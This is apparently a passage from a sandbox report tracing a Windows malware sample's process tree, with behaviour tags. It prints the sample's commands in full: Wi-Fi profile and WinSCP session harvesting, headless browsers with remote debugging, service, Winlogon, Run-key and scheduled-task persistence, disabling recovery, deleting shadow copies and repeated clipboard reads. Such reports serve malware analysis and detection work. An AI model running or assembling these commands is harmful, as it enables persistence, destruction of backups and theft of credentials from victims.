  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions""
    3⤵
    PID:1764
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
      4⤵
      PID:1776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --window-position=-2400,-2400
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:4456
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9fcf4dcf8,0x7ff9fcf4dd04,0x7ff9fcf4dd10
      4⤵
      PID:4332
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2000,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2004 /prefetch:2
      4⤵
      PID:4684
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1552,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2240 /prefetch:3
      4⤵
      PID:3068
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2344,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2740 /prefetch:8
      4⤵
      PID:436
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3240 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5336
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3264,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3268 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4964
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4316,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4360 /prefetch:2
      4⤵
      Uses browser remote debugging
      PID:2248
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4700,i,2121066442177345852,15267582518619149290,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3096 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --remote-debugging-port=9222 --profile-directory=Default --window-position=-2400,-2400
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:2652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x258,0x7ffa04ebf208,0x7ffa04ebf214,0x7ffa04ebf220
      4⤵
      PID:5968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1952,i,17860885517299786460,12113121292605135751,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3
      4⤵
      PID:3772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2168,i,17860885517299786460,12113121292605135751,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:2
      4⤵
      PID:3648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2448,i,17860885517299786460,12113121292605135751,262144 --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:8
      4⤵
      PID:4528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3384,i,17860885517299786460,12113121292605135751,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3392,i,17860885517299786460,12113121292605135751,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc create WindowsNovaBooter binPath= "C:\Users\Admin\AppData\Local\Microsoft\MagTable\spoofer.exe" start= auto obj= LocalSystem"
    3⤵
    PID:64
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2716
  - - C:\Windows\system32\sc.exe
      sc create WindowsNovaBooter binPath= "C:\Users\Admin\AppData\Local\Microsoft\MagTable\spoofer.exe" start= auto obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit"
    3⤵
    PID:436
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
      4⤵
      PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Program Files\Windows NT\TableTextService\spoofer.exe" /f"
    3⤵
    PID:1836
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3068
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Program Files\Windows NT\TableTextService\spoofer.exe" /f
      4⤵
      Modifies WinLogon for persistence
      PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Windows_Health_Courtage_yXv7pZ"
    3⤵
    PID:4716
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Windows_Health_Courtage_yXv7pZ
      4⤵
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Windows_Health_Courtage_yXv7pZ"
    3⤵
    PID:2352
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5592
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Windows_Health_Courtage_yXv7pZ
      4⤵
      PID:4352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupyXv7pZ /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe\" /F /rl highest"
    3⤵
    PID:4692
  - - C:\Windows\system32\cmd.exe
      cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupyXv7pZ /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe\" /F /rl highest
      4⤵
      PID:5096
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /sc onlogon /tn WindowsDriverSetupyXv7pZ /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe\" /F /rl highest
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\spoofer.exe' $Trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM' Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName StartCacaTask ""
    3⤵
    PID:4740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reagentc /disable"
    3⤵
    PID:960
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Windows_Health_Courtage_yXv7pZ /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe /f"
    3⤵
    PID:2248
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1716
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Windows_Health_Courtage_yXv7pZ /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe /f
      4⤵
      Adds Run key to start application
      PID:4556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Windows_Health_Courtage_yXv7pZ /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe /f"
    3⤵
    PID:5168
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4408
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Windows_Health_Courtage_yXv7pZ /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\spoofer.exe /f
      4⤵
      Adds Run key to start application
      PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\salutlJDgv.ps1" -RunAsAdministrator"
    3⤵
    - Access Token Manipulation: Create Process with Token
    PID:2316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\salutlJDgv.ps1" -RunAsAdministrator
      4⤵
      Command and Scripting Interpreter: PowerShell
      Access Token Manipulation: Create Process with Token
      PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "vssadmin delete shadows /all /quiet"
    3⤵
    PID:944
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:7056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:7084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1736
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:3592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:4384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:7076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:7084
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:3512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:5532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:3760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:1804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:6276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:7036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:2648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:1996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:7040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:6420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:1152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:6128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:1616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:2900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      PID:1452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
    3⤵
    PID:4192
